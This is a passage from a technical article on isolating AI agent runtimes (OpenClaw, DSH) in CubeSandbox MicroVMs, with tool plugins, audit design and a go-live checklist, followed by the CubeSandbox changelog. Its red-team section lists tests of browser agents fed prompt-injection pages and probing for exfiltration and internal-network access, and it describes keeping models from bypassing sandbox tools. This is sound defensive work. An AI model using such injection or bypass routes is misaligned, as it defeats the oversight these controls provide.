tools and cube-run are two separate surfaces, and the model may pick wrong. To make it seamless, the next step is writing a Provider. This article's real verification used a running DSH 0.1.1-rc.2, creating a new session in Chrome WebUI and selecting DeepSeek V4 Pro. The installed [minimal DSH Skill](https://github.com/runzhliu/aik8s/tree/main/examples/cubesandbox-openclaw-dsh/dsh-skill/cube-sandbox) follows the same result contract as the OpenClaw version. The model completed the task in this order: 1. Automatically invoked the Skill cube-sandbox per the prompt; 2. Read the wrapper script, confirmed parameters and finally cleanup; 3. Called Bash to run the script; 4. Waited for CubeSandbox to return structured JSON; 5. Summarized the executor, result, offline status, creation latency, and cleanup result in Chinese. The conversation page preserves all three activity types — Skill, Read, Bash — and the final result: ![The DSH conversation page preserves three activity types and the final result](./assets/2026-09-30-openclaw-dsh/07-dsh-conversation.jpg) *Figure 7: The DSH conversation page preserves three activity types and the final result* DSH's trajectory page places Input, Model, and Tools on the same timeline. The tool rows show the Skill loading, the script read, the Bash call, and the JSON returned to the model: ![The timeline on DSH's trajectory page](./assets/2026-09-30-openclaw-dsh/08-dsh-trajectory.jpg) *Figure 8: The timeline on DSH's trajectory page* The actual result of this DSH Agent session: To avoid judging by the final answer alone, we also had DSH run a 60-second hold task. The trajectory shows the Skill, the script read, the Bash tool result, and sandbox\_ref=7fddceaa; during the hold, CubeSandbox WebUI simultaneously showed a running Sandbox with matching prefix and suffix: ![Trajectory of the DSH 60-second hold task](./assets/2026-09-30-openclaw-dsh/09-dsh-hold-result.jpg) *Figure 9: Trajectory of the DSH 60-second hold task* ![A running Sandbox with matching prefix/suffix in WebUI](./assets/2026-09-30-openclaw-dsh/10-dsh-hold-webui.jpg) *Figure 10: A running Sandbox with matching prefix/suffix in WebUI* This proves DSH can explicitly route a class of high-risk tasks to CubeSandbox via a Skill without changing the Runtime core. It's still light integration: to make Bash, the editor, and Terminal live in the same remote workspace by default, the native Provider in the next section is needed. ### 8.5 Without Skills: OpenClaw / DSH Directly Calling the Controlled Adapter The Skill path proved the model proactively chooses CubeSandbox, but it usually still needs host Bash to launch the wrapper script. To prove that "MicroVMs can really be created without Skills," this time we implemented a shared Adapter and two Runtime Plugins: * adapter: the sole holder of Cube SDK config, full Sandbox IDs, and traffic tokens; * openclaw-plugin: uses OpenClaw's official defineToolPlugin; * dsh-plugin: uses Cordis ctx.tools.register, with a Patch that disables host tools; * deploy/kubernetes.yaml: reference manifest with single replica, non-root, read-only rootfs, Secret, and NetworkPolicy. The Adapter exposes an HTTP API to Runtimes and internally calls the cubesandbox==0.7.0 SDK: All write requests require a Bearer Token; production should add mTLS, workload identity, rate limiting, and authorization via a Service Mesh or Gateway. acquire is idempotent on (runtime, HMAC(session\_key)), so a session's exec/read/write all land in the same MicroVM. The Plugin needs an internal lease to call the next step, but neither the lease, the full Sandbox ID, nor the traffic token ever enters model results. The minimal way to start the Adapter is as follows; the Token should come from a Secret Manager: CUBE\_ADAPTER\_HMAC\_KEY should be managed separately from the Bearer Token: the former keeps audit correlation stable, the latter can rotate routinely. Neither should appear in plugin configs, model context, or ordinary logs. **OpenClaw Tool Plugin Test** After installation, both the plugin and the tools it registers must be allowed: If you already have plugins.allow or tools.alsoAllow, merge with existing trusted entries — never copy commands blindly and overwrite. A very misleading state appeared during testing: the plugin check showed loaded, but without tools.alsoAllow the model couldn't see the four tools at all. The Gateway process only needs CUBE\_ADAPTER\_URL and CUBE\_ADAPTER\_TOKEN — no Cube API Key. The prompt to the real model explicitly required: "don't read the Skill, don't use host exec, only call cube\_exec, and when done call cube\_release(action=kill)." OpenClaw Activity showed exactly two tool calls, with result openclaw-direct-ok, exit code 0, short reference 45a28df5: ![Two tool calls from the OpenClaw Tool Plugin test](./assets/2026-09-30-openclaw-dsh/11-openclaw-plugin.jpg) *Figure 11: Two tool calls from the OpenClaw Tool Plugin test* This proves the Tool Plugin path works, but OpenClaw's current stable public interface has no "arbitrary fourth native Sandbox Backend." The reference implementation does not masquerade as a Docker / SSH / OpenShell backend; enterprise Profiles should also explicitly deny host exec/read/write to prevent the model from bypassing the Cube tools. **DSH Cordis Plugin Test** Install the plugin and apply the reference Patch: The Patch disabled the model-side Bash, PowerShell, FS, FS Search, and string editor, then registered four same-named Cube tools. DSH can read the Token from an environment variable or a read-only Secret file; container deployment favors tokenFile. A local file: install copies the plugin into the DSH plugin repository — after modifying the source you must re-run add/update; a simple restart won't refresh the installed copy. The real DeepSeek V4 Pro session was likewise required not to read the Skill and not to touch host tools. The trajectory shows only cube\_exec and cube\_release, with output DSH\_DIRECT\_V2=338350, exit code 0, 35127 ms elapsed, short reference f795f7fc: ![DSH Cordis Plugin test trajectory](./assets/2026-09-30-openclaw-dsh/12-dsh-plugin.jpg) *Figure 12: DSH Cordis Plugin test trajectory* During the 35 seconds cube\_exec kept running, CubeSandbox WebUI simultaneously showed f795f7…f099. The WebUI shows the prefix and suffix of the same full ID; the Agent and audit only expose the first 8 characters: ![WebUI shows the prefix and suffix of the same full ID](./assets/2026-09-30-openclaw-dsh/13-dsh-webui-id.jpg) *Figure 13: WebUI shows the prefix and suffix of the same full ID* Finally, the Adapter audit page shows acquire, exec, and release for both OpenClaw 45a28df5 and DSH f795f7fc. Each Tool idempotently acquires first, so the same reference may appear with multiple acquires; the page contains no command bodies, outputs, tokens, raw session keys, or full Sandbox IDs: ![Adapter audit page cross-verification](./assets/2026-09-30-openclaw-dsh/14-adapter-audit.jpg) *Figure 14: Adapter audit page cross-verification* This forms a verifiable three-way corroboration: the Agent trajectory proves which tools the model called, the CubeSandbox live page proves the MicroVM really existed, and the Adapter audit proves requests, Runtimes, results, and latencies can be correlated. After the task ended, Sandbox.list() was 0 again. This DSH path no longer depends on Skills and can hard-disable common host tools; but the model still sees cube\_\*, so it is a "direct Tool Plugin," not the transparent Provider described next. ### 8.6 DSH Playbook 3: Replace shell/fs/pty with a Cube Provider The Provider version lets the model keep using DSH's original Bash, editor, and Terminal — no need to learn a set of cube\_\* tools: Recommended implementation order: 1. One-shot shell.exec; 2. fs.read/write/list/stat; 3. cwd, environment variables, timeouts, cancellation, and full stdout/stderr; 4. PTY, resize, stdin, and background tasks; 5. Pause, Resume, reconnect, and Runtime restart recovery; 6. Map DSH approval results to platform-maintained network / workspace Profiles. The testing focus is not "the command returned 0," but environment consistency: a file written by Bash must be immediately readable by the editor; PTY and one-shot Bash must live in the same Sandbox; workspace-write must not accidentally write to the DSH host. ### 8.7 Fun on Both Sides: Two Agents Working the Same Problem in Parallel Snapshot and Clone fit OpenClaw sub-Agents or DSH multi-plan parallelism well: The repository provides the full script [scripts/cubesandbox\_agent\_parallel\_clone\_demo.py](https://github.com/runzhliu/aik8s/blob/main/scripts/cubesandbox_agent_parallel_clone_demo.py). This run, on the same baseline: 1. Write baseline; 2. Create a Snapshot; 3. Deliberately write unsafe-change, then Rollback; 4. Concurrently Clone two sandboxes; 5. Clone A writes minimal-fix, Clone B writes refactor; 6. Verify the two Clones don't affect each other, and the baseline is still baseline; 7. Destroy all three sandboxes. Measured sample: This is only a two-way functional sample, but it already proves a valuable Agent pattern: don't let multiple plans overwrite each other in the same workspace — use Clone to form truly independent execution branches. ### 8.8 Browser Agent and Red-Team Playbooks You can build a template with Chromium and Playwright/CDP, putting each browser task into an independent MicroVM. Good tests include: * After opening a page containing Prompt Injection, can it reach internal metadata addresses? * Do CDP and noVNC return 403 without a traffic token? * Do downloaded files only land in the Session Workspace? * Do browser Profiles, Cookies, and clipboards leak across tenants? * After the page closes, are Chromium, /dev/shm, and forwarded ports reclaimed? * When the browser waits for user confirmation under Pause, does the page survive the next Resume? OpenClaw's remote SSH/OpenShell backends currently don't provide full sandbox browser capability, so "Shell can execute remotely" does not imply "the browser migrates seamlessly too." ### 8.9 Performance and Reliability Playbooks Finally, upgrade the functional experiments into platform stress tests: * 1, 10, 50, 100 concurrent Create / Pause / Resume / Kill; * P50, P95, P99 across different template sizes; * Concurrent Clones of multiple Agents from the same Snapshot; * Reconnecting to the original Sandbox after OpenClaw / DSH Runtime restarts; * Snapshot backend latency and failures; * CubeProxy caching, node isolation, and network jitter; * Automatic reclamation of orphan Sandboxes, Volumes, Snapshots, and leases; * traffic token, network policy, and snapshot compatibility across upgrades. ## 9. Enterprise Audit: Where to Look When the Page Has No History CubeSandbox WebUI's "Sandboxes" page describes itself as "a real-time view of all running micro-VMs." It is not a historical execution list: once kill() completes, the instance disappears from the page and from Sandbox.list(). So a page going 0 → 1 → 0 proves the real-time lifecycle, but cannot serve as enterprise audit. Complete evidence must be stored in layers: | Layer | Questions It Can Answer | Original Source | What It Cannot Prove Alone | |:--|:--|:--|:--| | OpenClaw / DSH | Who initiated, which model, which Skill / Tool was chosen, parameters and approvals, the result returned to the user | OpenClaw Activity, DSH Trajectory, Runtime session logs | Whether the MicroVM was really created, whether network policies were really enforced | | CubeMaster / CubeShim / VMM | Which Sandbox was created, started, paused, resumed, destroyed when, with what template and resources | Control-plane logs and node /data/log/CubeShim, /data/log/CubeVmm | Shell command bodies and business identity | | CubeProxy | Which data-plane APIs (files, processes, PTY) a Sandbox called, with what status codes and latencies | Node /data/log/cube-proxy/access.log | /process.Process/Start request bodies, command bodies, stdout / stderr | | CubeEgress | Which rule allowed or denied each HTTP/HTTPS egress, with target, path, status, and latency | Node /data/log/cube-egress/access.jsonl | Ordinary L3/L4 traffic that never entered the L7 proxy; full command output | | MySQL instance records | Which instances existed historically, and their create/delete times | t\_cube\_instance\_info, t\_cube\_instance\_userdata | Agent conversations, specific commands, and outputs | ### 9.1 Real Cross-Evidence from This OpenClaw Task To corroborate the Agent's answer with the CubeSandbox page live, we had OpenClaw run another 60-second hold task. OpenClaw returned sandbox\_ref=d9aafb40, and the same prefix appeared in the WebUI's running Sandbox row: ![OpenClaw 60-second hold task](./assets/2026-09-30-openclaw-dsh/15-openclaw-hold.jpg) *Figure 15: OpenClaw 60-second hold task* ![The same prefix appears in the WebUI running Sandbox row](./assets/2026-09-30-openclaw-dsh/16-openclaw-hold-webui.jpg) *Figure 16: The same prefix appears in the WebUI running Sandbox row* Then, searching node logs with the full Sandbox ID produced a mutually alignable timeline: | Relative Time | Evidence | |:--|:--| | T+0 ms | CubeShim create req start | | T+40 ms | Guest agent ready; MicroVM startup complete | | T+~200 ms | CubeProxy POST /files, writing the Agent task file | | T+~300 / 500 ms | Two POST /process.Process/Start, running the task and the offline check respectively | | T+60.6 s | CubeShim received Kill, followed by destroy sandbox finish | This set of evidence is stronger than just reading the Agent's final answer: the same ID appears simultaneously in the OpenClaw result, the CubeSandbox live list, CubeProxy, and CubeShim. But it still isn't complete command audit, because CubeProxy access logs don't record process-start request bodies or stdout. Commands, parameters, outputs, users, models, and approvals must be written as structured audit events by the Agent Adapter. ### 9.2 Querying Node Logs Directly First get the cube-node Pod on the node running the target, then search with the full Sandbox ID. In multi-node environments, locate the corresponding DaemonSet Pod by the Node field in the instance info — don't default to querying only the first one: Real clusters may also have Cubelet-req.log, Cubelet-stat.log, cube-proxy/error.log, and similar files. They're better for fault diagnosis and should not replace business audit events. Once node files rotate, Pods/nodes are cleaned, or disks fail, they may be lost — production must not wait until after an incident to start grepping. ### 9.3 The Boundaries of CubeEgress Egress Auditing When creating a Sandbox, set action.audit on L7 Rules: * none: no audit; * metadata: the default — records time, Sandbox IP, target IP/port, scheme, Host, method, path, status, bytes, latency, TLS, and upstream; * full: in v0.7.0 still equivalent to metadata — you cannot claim request or response bodies are collected based on it. Only HTTP/HTTPS L7 traffic entering CubeEgress is written to access.jsonl. For example, when allow\_internet\_access=false blocks a raw TCP connection at L3/L4, no corresponding L7 record automatically appears in the file. If the enterprise requires "every egress attempt recorded," you must also aggregate eBPF, host firewall, or CNI Flow Logs. This experiment also found a problem that must be caught in go-live acceptance: although the cube-node Pod eventually showed Running, cube-egress-net's probe once reported iptables ... nf\_tables ... TRANSPROXY ... incompatible, the container kept logging rule reapply failed, and access.jsonl stayed empty. In other words, **Pod Running does not mean L7 audit is working**. Production acceptance should at least create one deterministic deny rule with audit=metadata, issue a request, and confirm simultaneously: * The request is rejected with 403; * access.jsonl gains a JSONL entry for the same request; * cube-egress-net readiness is normal with no rule-replay errors; * The iptables legacy / nftables backend matches the host's existing rules. The L3/L4 full-offline verification still succeeded this time, but it cannot substitute for the L7 audit acceptance that hasn't passed yet. ### 9.4 Why Destroyed Instances Vanish from the Database Too CubeMaster's common.disable\_hard\_delete defaults to false. The default delete path hard-deletes t\_cube\_instance\_info, so neither the WebUI nor ordinary database queries can see destroyed instances. This experiment's environment did not configure the field, and querying by the full Sandbox ID after Kill returned 0 rows — consistent with the default behavior. When you need to keep instance tombstones for audit or recovery, enable it in the CubeMaster config: In v0.7.0, this setting switches instance info to soft delete, and it takes precedence over soft\_delete\_purge: t\_cube\_instance\_info and t\_cube\_instance\_userdata won't be removed by the tombstone cleaner. Before enabling, evaluate capacity, indexing, access control, data retention, and privacy. It only preserves instance records — it does not automatically backfill command, output, user, and approval history. ### 9.5 Recommended Enterprise Audit Events The Adapter should write one append-only structured event before and after every CubeSandbox call, containing at least: Don't write long-lived tokens, Cookies, Authorization headers, full personal information, or unbounded stdout directly into logs. A more reasonable approach: bounded, sanitized digests go into the retrieval system; full artifacts are encrypted into object storage; audit events keep only digests and object references. The recommended aggregation pipeline: ![Audit aggregation pipeline](./assets/2026-09-30-openclaw-dsh/17-audit-pipeline.jpg) *Figure 17: Audit aggregation pipeline* Also unify NTP and timezones, tag logs with tenant\_id + session\_id + sandbox\_id + trace\_id, restrict audit retrieval permissions, log query behavior, and set independent retention periods for online retrieval versus archive. In v0.7.0, CubeProxy's local script rotates at a ~500 MiB threshold and keeps only a few archives; CubeEgress's access.jsonl likewise can't be treated as permanent storage — log collection must finish before local rotation or failure on the node. ## 10. Production Go-Live Checklist * OpenClaw / DSH and Sandboxes sit in different trust boundaries; * Untrusted Agent Profiles have host Shell / FS / Editor disabled, and the model's tool list truly contains only controlled remote tools; * OpenClaw's plugins.allow, tools.alsoAllow, and DSH's final synthesized Profile have been verified after startup; * Every tenant or session has an independent Sandbox lease; * The Adapter Bearer Token comes from a Secret Manager; inter-service mTLS / workload identity is used and rotatable; * Before multi-replica: persistent leases, encrypted traffic tokens, owner fencing, and Runtime restart recovery are implemented; * CubeAPI, CubeProxy, WebUI, and ops endpoints all have authentication and TLS; * Egress is deny-by-default, allowing only enterprise Git, mirrors, package sources, and Tool / Model Gateways; * traffic tokens are stored encrypted alongside sandbox\_id; * No long-lived model or cloud credentials are injected into Sandboxes; * Arbitrary mounts of host directories, the Docker Socket, and high-privilege devices are forbidden; * Templates are pinned to versions or Digests, and pass scanning, SBOM, signing, and regression; * Resources, concurrency, TTLs, snapshots, and Volumes all have tenant quotas; * Pause / Resume, Connect, Kill, and exception cleanup are all idempotent; * Agent, Sandbox, network proxy, and external tool logs can be correlated by Trace ID; * CubeEgress JSONL has been verified with real L7 allow / deny requests — not just by checking Pod Running; * Sanitization, digesting, encrypted archival, and retention of command bodies and stdout / stderr are defined; * Node logs are verified collectible before rotation; audit indexes and WORM archives are queryable; * If destroyed instances must be kept, disable\_hard\_delete has been evaluated and enabled; * Red-team tests cover Prompt Injection, data exfiltration, internal-network probing, and cross-session access; * Rollback plans exist for cluster upgrades, token rotation, template upgrades, and snapshot incompatibilities. ## 11. Conclusion CubeSandbox's greatest value for OpenClaw / DSH is not "yet another deployment option" — it's that the Agent Runtime no longer equals the execution environment. The most recommended enterprise path is: 1. Keep OpenClaw / DSH in a managed Runtime Pool; 2. First use the tested Tool Plugin + thin Adapter from this article to route commands and files to CubeSandbox; 3. Manage MicroVMs per session — Pause when idle, Kill when expired; 4. Protect data and credentials with deny-by-default networking, traffic tokens, and proxy injection; 5. Then fill in PTY, streaming cancellation, persistent leases, and a transparent DSH Provider — and finally evaluate the Preview path of putting the whole OpenClaw assistant into CubeSandbox. This preserves OpenClaw's channel and Agent ecosystem and DSH's composable Runtime, while putting the most dangerous execution actions into observable, reclaimable, snapshot-able independent MicroVMs. The Adapter and two Plugins from this article have been published as generic reference code, with no assumptions about private clusters, image registries, or accounts; they can later be split into standalone projects and contributed upstream as examples — but a native OpenClaw backend and a transparent DSH Provider still require confirming stable extension contracts with their respective communities first. **Appendix:** Measured results from this run: | Verification Item | Result | |:--|:--| | MicroVM creation | Success; 134 ms this sample | | Shell / files / Python | Success | | Full public egress denial | Effective | | Sandbox public entrypoint without access token | HTTP 403 | | With access token | HTTP 204 | | Pause | Success; ~2.18 s this sample | | Resume | Success; ~2.72 s this sample | | Files and Python memory after pause | Both preserved | | OpenClaw Skill → CubeSandbox | Success; openai/gpt-5.6-sol auto-invoked the Skill, sandbox created in 164 ms | | DSH Skill → CubeSandbox | Success; DeepSeek V4 Pro auto-invoked the Skill, sandbox created in 123 ms | | OpenClaw → Adapter → CubeSandbox | Success; model called only cube\_exec / cube\_release, evidence ref 45a28df5 | | DSH → Adapter → CubeSandbox | Success; host Shell / FS tools disabled, evidence ref f795f7fc | | Adapter audit | Success; Agent, live Sandbox, and audit events cross-verifiable by short reference | | Cleanup | Sandbox destroyed, cluster sandbox count back to 0 | These timings are functional samples from one node, one template, one request — not performance benchmarks. Production decisions should keep testing P50, P95, P99, failure rates, and long tails under concurrency. This article strictly separates what is done from what is still roadmap: | Scope | Status | |:--|:--| | Cube SDK create, Shell, files, Python, offline, traffic token, Pause / Resume, Snapshot, Rollback, Clone, Kill | Verified | | CubeSandbox WebUI Digital Assistant, running sandboxes, and observability pages | Verified with Chrome logged-in session | | cube-sandbox Skill triggered in a real OpenClaw model session | Verified; conversation and tool activity screenshots kept | | cube-sandbox Skill triggered in a real DSH model session | Verified; conversation and full trajectory screenshots kept | | OpenClaw official Tool Plugin → authenticated Cube Adapter | Implemented and verified; four cube\_\* tools reuse leases by sessionKey | | DSH Cordis Tool Plugin → authenticated Cube Adapter | Implemented and verified; leases reused by DSH Agent ID, host execution plugins hard-disabled | | Adapter policies, limits, HMAC session references, and sanitized JSONL audit | Implemented as runnable reference code; only offline-code is open currently | | Creating a Digital Assistant / OpenClaw instance and calling a model | Not verified; official feature is Preview | | DSH native transparent shell/fs/pty Provider | Not implemented; this article implements model-direct Cordis Tool Plugin and provides Provider integration boundaries | | Browser Agent, concurrency stress tests, and cross-node recovery | Not verified; listed as next stage | --- --- url: https://cubesandbox.com/changelog.md --- # Changelog | Version | Date | |---------|------| | [v0.7.2](./v0.7.2.md) | 2026.09.23 | | [v0.7.1](./v0.7.1.md) | 2026.09.11 | | [v0.7.0](./v0.7.0.md) | 2026.08.28 | | [v0.6.0](./v0.6.0.md) | 2026.07.24 | | [v0.5.1](./v0.5.1.md) | 2026.07.10 | | [v0.5.0](./v0.5.0.md) | 2026.07.03 | | [v0.4.0](./v0.4.0.md) | 2026.06.14 | | [v0.3.1](./v0.3.1.md) | 2026.06.04 | | [v0.3.0](./v0.3.0.md) | 2026.06.02 | | [v0.2.2](./v0.2.2.md) | 2026.05.18 | | [v0.2.1](./v0.2.1.md) | 2026.05.14 | | [v0.2.0](./v0.2.0.md) | 2026.05.07 | | [v0.1.2](./v0.1.2.md) | 2026.04.27 | | [v0.1.1](./v0.1.1.md) | 2026.04.24 | | [v0.1.0](./v0.1.0.md) | 2026.04.20 | --- --- url: https://cubesandbox.com/changelog/v0.1.0.md --- ## 2026.04.20 Release v0.1.0 ### Initial open-source release of Cube Sandbox **Instant, Concurrent, Secure & Lightweight Sandbox for AI Agents.** ### Core Highlights Cube Sandbox is a high-performance, out-of-the-box secure sandbox service built on RustVMM and KVM. It supports both single-node deployment and can be easily scaled to a multi-node cluster. It is compatible with the E2B SDK, capable of creating a hardware-isolated sandbox environment with full service capabilities in under 60ms, while maintaining less than 5MB memory overhead. * Blazing-fast cold start: built on resource pool pre-provisioning and snapshot cloning technology, average end-to-end cold start time for a fully serviceable sandbox is < 60ms. * High-density deployment on a single node: extreme memory reuse via CoW technology combined with a Rust-rebuilt, aggressively trimmed runtime keeps per-instance memory overhead below 5MB — run thousands of Agents on a single machine. * True kernel-level isolation: each Agent runs with its own dedicated Guest OS kernel, eliminating container escape risks and enabling safe execution of any LLM-generated code. * Zero-cost migration (E2B drop-in replacement): natively compatible with the E2B SDK interface. Just swap one URL environment variable — no business logic changes needed. * Network security: CubeVS, powered by eBPF, enforces strict inter-sandbox network isolation at the kernel level with fine-grained egress traffic filtering policies. ### Production-ready **Cube Sandbox has been validated at scale in Tencent Cloud production environments, proven stable and reliable** — before this day it ever existed as open source, it had already quietly run behind real AI Agent workloads, serving real users, at production load. In real production deployments, a single physical machine can spin up tens of thousands of sandboxes within minutes. We open-source it today not as a prototype, but as production-hardened infrastructure that has already stood the test of real-world scale. ### A Note to Every Contributor — Past, Present, and Future Before this code was ever public, it was already doing its job: spinning up sandboxes in milliseconds, isolating Agent workloads at the kernel level, and holding up under real production load at Tencent Cloud. None of that happened by accident. Today we open the door. The high-performance Agent infrastructure you shaped now belongs to the world — to every developer who believes that safe, instant, and lightweight code execution should be open and self-hostable. To those who contributed before this day: you built the foundation. To those who will contribute after: you are what turns a foundation into an ecosystem. Open source shines because of you! --- --- url: https://cubesandbox.com/changelog/v0.1.1.md --- ## 2026.04.24 Release v0.1.1 ### 🛠️ Critical Fixes * **Fixed** the issue where the latest vmlinux was not used during template reconstruction, improving the stability of the sandbox environment. * **Updated** the one-click installation script to support non-eth0 network interfaces, resolving stability issues with CubeProxy CA certificates. * **Disabled** GRO on the primary network interface during initialization to enhance network stability. * **Fixed** incorrect error handling when the target was not found during template cleanup, ensuring proper error returns. ### ✨ New Features * **Added** the `cubebox destroy` command, enabling sandbox deletion via the CLI. * **Added** integration examples for the OpenAI Agents SDK (including a code interpreter). ### 📚 Documentation Updates * **Rewrote** the HTTPS and domain configuration documentation, adding explanations for wildcard DNS records. ### ⚙️ Engineering Improvements * **Implemented** a parallel CI build pipeline for multiple components to optimize build efficiency. * **Added** support for automatic synchronization of GitHub Release assets to `cnb.cool/CubeSandbox/CubeSandbox`. --- --- url: https://cubesandbox.com/changelog/v0.1.2.md --- ## 2026.04.27 Release v0.1.2 ### 🛠️ Critical Fixes * **Fixed** the issue where CubeMaster returned a 5xx error instead of a 4xx error when the sandbox template does not exist. * **Fixed** the missing SSL RootCA certificate issue during one-click deployment in v0.1.1. * **Fixed** the cube proxy image build failure during deployment in v0.1.1. --- --- url: https://cubesandbox.com/changelog/v0.2.0.md --- ## 2026.05.07 Release v0.2.0 ### 🌟 Major New Features * **Web Management Console (Dashboard)**: A brand-new visual management UI with cluster overview, node and sandbox status, template management, and API key management; new CubeAPI web endpoints added to back the Dashboard. * **PVM Deployment Mode**: Powered by PVM (Pagetable-based Virtual Machine), **ordinary cloud servers can now run CubeSandbox without bare-metal or nested virtualization**. Tencent Cloud has deployed and validated PVM instances at scale in production, with improvements open-sourced in the [OpenCloudOS kernel](https://gitee.com/OpenCloudOS/OpenCloudOS-Kernel.git). ### ✨ Enhancements * **Custom DNS for template creation**: `cubemastercli template` gains a `--dns` flag, allowing a custom DNS server address to be specified when creating a template image. ### 🛠️ Critical Fixes * **Fixed** disk QoS (blk\_qos) having no effect: Cubelet was reading the QoS annotation with the wrong key, silently ignoring IOPS/bandwidth limits; limits now apply as configured. * **Fixed** host-mount requests being silently dropped: CubeAPI wrote the annotation with key `host-mount` while CubeMaster read with `hostdir-mount`; the mismatch caused all host directory mounts to be ignored. Keys are now aligned and host-mount works correctly. * **Fixed** Cubelet mount namespace not receiving host mount events: Cubelet created its mount namespace in private mode, blocking propagation of subsequent host mounts; changed to slave mode so host mount events propagate one-way into the Cubelet namespace without affecting the host. * **Fixed** DeadGC permanently freezing paused sandboxes: `scanDeadContainer` issued a `state()` call to the shim while the sandbox held its mutex (during pausing/paused), causing a 5 s timeout, Cubelet marking the sandbox UNKNOWN, and CubeMaster giving up on resume. DeadGC now skips sandboxes in pausing/paused states. ### 🌐 Networking * **Disabled virtio-net TAP offloads (TSO/UFO/CSUM)**: The hypervisor previously advertised hardware offload features to the guest; CHECKSUM\_PARTIAL packets emitted by the guest could cause network errors or even disable tx-checksumming on the host NIC, affecting other tenants. The hypervisor no longer advertises these features; the guest handles checksumming and segmentation itself. ### ⚙️ Engineering Improvements * **Cubelet CLI logging standardization**: Migrated legacy `myPrint` output in `cubecli` sub-commands (`cubebox`, `network`, `storage`, `volume`, etc.) to structured logging. * **Dead code removal**: Removed the unused `AppId` field from CubeMaster affinityutil tests. ### 📚 Documentation Updates * **New PVM Deployment guide** (Chinese & English): full walkthrough covering PVM host kernel installation, GRUB configuration, module loading, and verification. * **Quick Start updated**: ordinary cloud servers can now be used via PVM — no bare-metal required. * **Updated code-sandbox-quickstart example README** (Chinese & English). --- --- url: https://cubesandbox.com/changelog/v0.2.1.md --- ## 2026.05.14 Release v0.2.1 ### 🌟 Major New Features * **Official Python SDK (`cubesandbox` v0.1.0)**: A first-party Python SDK shipped under `sdk/python/`, fully aligned with the CubeAPI OpenAPI spec. Covers full sandbox lifecycle (create/connect/pause/kill/list/health), code execution with streaming stdout/stderr, filesystem access, direct-connect transport, and network policy. Includes 12 worked examples, a concurrency benchmark, and 76/76 tests passing. ### 🚀 Performance * **Skip SHA256 on every Cubelet startup**: Split `SyncKernelFile` into `EnsureKernelFilePresent` (copy-if-missing, fast path) and `RefreshKernelFile` (force-refresh with verification), removing the expensive per-boot SHA256 comparison. Normal startup latency drops significantly on hosts with many templates. * **Skip redundant `docker pull` in CubeMaster**: Source image pulls are now bypassed when the image already exists locally, removing unnecessary registry round-trips during template builds. ### 🛡️ Security Fixes * **`shim`: protobuf bumped 3.4.0 → 3.7.2** (RUSTSEC, stack overflow on crafted unknown fields). Co-upgrades `containerd-shim-protos`, `containerd-shim`, and `nix`. * **`cubeapi` / `agent` / `shim` / `hypervisor`: rand 0.8.5 → 0.8.6** (GHSA-cq8v-f236-94qc, soundness issue with `ThreadRng` reseeding). * **`CubeVS`: `golang.org/x/net` → v0.38.0, `golang.org/x/sys` → v0.38.0**. * **`network-agent`: `google.golang.org/grpc` → 1.79.3**. * **`CubeAPI/examples`: `pygments` → 2.20.0**. ### 🛠️ Critical Fixes * **Fixed Seccomp swallowing all syscalls**: `Seccomp` initialization now sets `DefaultAction = ActAllow`; an empty syscall list short-circuits as a no-op instead of silently blocking everything. * **Fixed `shim` stderr being routed through stdout**: The `Exec` stream-forwarding path was incorrectly calling the stdout read method for stderr; stderr is now properly captured and forwarded. * **Fixed `CubeProxy` workers sharing the same PRNG seed**: OpenResty workers now seed the RNG per-worker in `init_worker` with `(ngx.now() * 1000 + ngx.worker.id())`, preventing synchronized cache-expiration stampedes. * **Fixed dev-env sync overwriting `cube-shim` symlinks**: `cube-runtime` and `containerd-shim-cube-rs` are now written to `${TOOLBOX_ROOT}/cube-shim/bin`, preserving the toolbox symlink layout. * **Fixed Dockerfile breakage on HTTPS-only mirrors**: `ca-certificates` is now installed before apt sources are swapped to internal mirrors. ### ✨ Enhancements * **`cubemastercli tpl watch` — phase-oriented output**: Replaced the old multi-line full-status dump with concise `[N/7] PHASE` progress lines plus a terminal summary; much friendlier in CI logs. * **IPAM — comprehensive optimization and reliability overhaul** (Cubelet + network-agent): Validation rewritten on `net/netip`; IP ↔ index conversions via `encoding/binary.BigEndian`; bounds checks, safety limits, and `nil` guards added; reserved-address semantics documented; comprehensive table-driven and concurrency tests. ### ⚙️ Engineering Improvements * **Examples reorganized into standalone top-level directories**: Moved from `CubeAPI/examples/` to top-level `examples/`, with dedicated `host-mount` and `network-policy` directories (each with its own README); comments translated to English. * **`cube-bench` promoted to `examples/cube-bench`**: Now a standalone Go module with its own Makefile. * **Go toolchain alignment**: `CubeVS` and `network-agent` upgraded to Go 1.24.8. * **`cubecli` internationalization**: Remaining Chinese usage strings in `benchrun.go` translated to English. * **Docker build context cleanup**: `Makefile` builder-image now builds from `./docker` instead of the repo root. * **Alpine mirror swap**: APK repositories switched from `dl-cdn.alpinelinux.org` to `mirrors.tencent.com`. ### 🤖 CI / DevOps * **DCO check workflow**: A dedicated PR gate now blocks merges if any non-merge commit is missing a valid `Signed-off-by` trailer. * **GitHub ARC (Actions Runner Controller) support**: Self-hosted ARC runners wired up for kernel/package build workflows. * **No more duplicate PR checks**: `push` triggers on several workflows now scoped to `master` only; PR validation runs exclusively via `pull_request` — halving CI cost. * **`sync-to-cnb`**: Uses the `CNB_GIT_PASSWORD` secret. ### 📚 Documentation * **Deployment guide reworked**: PVM and bare-metal are now presented as the preferred deployment paths. * **PVM rapid-deploy on OpenCloudOS 9**: New step-by-step section added to `pvm-deploy.md`. * **"About us" page**: English and Chinese versions added, with corresponding VitePress navigation. * **X (Twitter) link** added to project READMEs. * **Docs polish**: Python import paths and architecture-diagram spacing corrected. * **WeChat / assistant QR codes** refreshed in `README_zh.md`. --- --- url: https://cubesandbox.com/changelog/v0.2.2.md --- ## 2026.05.18 Release v0.2.2 ### 🛡️ Security Fixes * **`hypervisor`: `vmm-sys-util` bumped to 0.12.1** (CVE-2023-50711, GHSA-875g-mfp6-g7f9): `FamStructWrapper::deserialize` failed to verify header length against the flexible-array length, allowing out-of-bounds memory access from safe Rust code. Now pinned to the workspace version shared by all other hypervisor crates. * **`agent` / `hypervisor`: `bytes` and `env_logger` security bumps** as part of the same dependency-refresh pass. * **Reverted `time` crate bump (CVE-2026-25727)**: CubeSandbox only uses `Rfc3339` for outbound timestamp formatting and never parses untrusted `Rfc2822` input — the affected attack vector is not reachable. The upgrade was rolled back pending an MSRV bump and will be tracked separately. ### 🛠️ Critical Fixes * **Fixed duplicate template-image job creation (`CubeMaster`)**: A `request_id` column with a unique index on `(request_id, operation)` makes job submissions idempotent, preventing duplicate build jobs from concurrent or retried API calls. * **Fixed `cubecli exec` nil-deref panic on stdin EOF**: 